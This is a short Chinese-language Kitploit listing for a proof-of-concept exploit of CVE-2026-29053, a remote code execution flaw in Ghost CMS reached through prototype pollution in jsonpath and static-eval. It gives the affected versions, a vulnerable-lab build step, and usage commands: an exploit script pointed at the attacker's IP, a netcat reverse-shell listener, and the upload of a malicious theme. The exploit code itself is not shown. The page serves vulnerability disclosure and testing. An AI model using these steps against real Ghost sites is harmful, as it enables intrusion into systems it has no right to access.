CVE-2026-29053 — 针对 Ghost CMS 的 PoC 漏洞利用程序，通过 jsonpath 和 static-eval 中的原型污染实现远程代码执行，附带易受攻击环境的搭建及使用说明。 | Kitploit

分享

CVE-2026-29053

通过 jsonpath/static-eval 原型链实现 Ghost CMS RCE。

信息

CVE：CVE-2026-29053
受影响版本：Ghost <= 6.19.0（搭配 jsonpath 1.1.1 + static-eval 2.0.2）
修复版本：6.19.1

演示

CVE-2026-29053.webm

搭建易受攻击环境

cd build
./build.sh

使用方法

python3 exploit.py -i <YOUR_IP> -p <PORT>

启动监听器：nc -lvnp <PORT>
上传 malicious-theme.zip 到 Ghost 管理后台 → 设置 → 设计
创建 slug 为 rce 的页面